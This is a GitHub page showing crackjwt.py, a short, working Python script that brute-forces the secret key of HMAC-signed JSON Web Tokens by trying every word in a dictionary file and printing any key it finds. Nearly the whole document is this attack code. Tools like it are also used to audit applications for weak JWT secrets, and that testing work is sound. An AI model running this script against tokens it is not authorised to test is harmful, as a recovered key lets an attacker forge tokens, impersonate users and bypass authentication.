-
Notifications
You must be signed in to change notification settings - Fork 75
/
Copy pathcrackjwt.py
executable file
·67 lines (49 loc) · 1.59 KB
/
crackjwt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
from jwt import decode, InvalidTokenError, DecodeError, get_unverified_header
import sys
from tqdm import tqdm
def is_jwt(jwt):
parts = jwt.split(".")
if len(parts) != 3:
return False
return True
def read_jwt(jwt):
if not is_jwt(jwt):
with open(jwt) as fp:
jwt = fp.read().strip()
if not is_jwt(jwt):
raise RuntimeError("Parameter %s is not a valid JWT" % jwt)
return jwt
def crack_jwt(jwt, dictionary):
header = get_unverified_header(jwt)
with open(dictionary) as fp:
for secret in tqdm(fp):
secret = secret.rstrip()
try:
decode(jwt, secret, algorithms=[header["alg"]])
return secret
except DecodeError:
# Signature verification failed
pass
except InvalidTokenError:
# Signature correct, something else failed
return secret
def signature_is_supported(jwt):
header = get_unverified_header(jwt)
return header["alg"] in ["HS256", "HS384", "HS512"]
def main(argv):
if len(argv) != 3:
print("Usage: %s [JWT or JWT filename] [dictionary filename] " % argv[0])
return
jwt = read_jwt(argv[1])
if not signature_is_supported(jwt):
print("Error: This JWT does not use a supported signing algorithm")
return
print("Cracking JWT %s" % jwt)
result = crack_jwt(jwt, argv[2])
if result:
print("Found secret key:", result)
else:
print("Key not found")
if __name__ == "__main__":
main(sys.argv)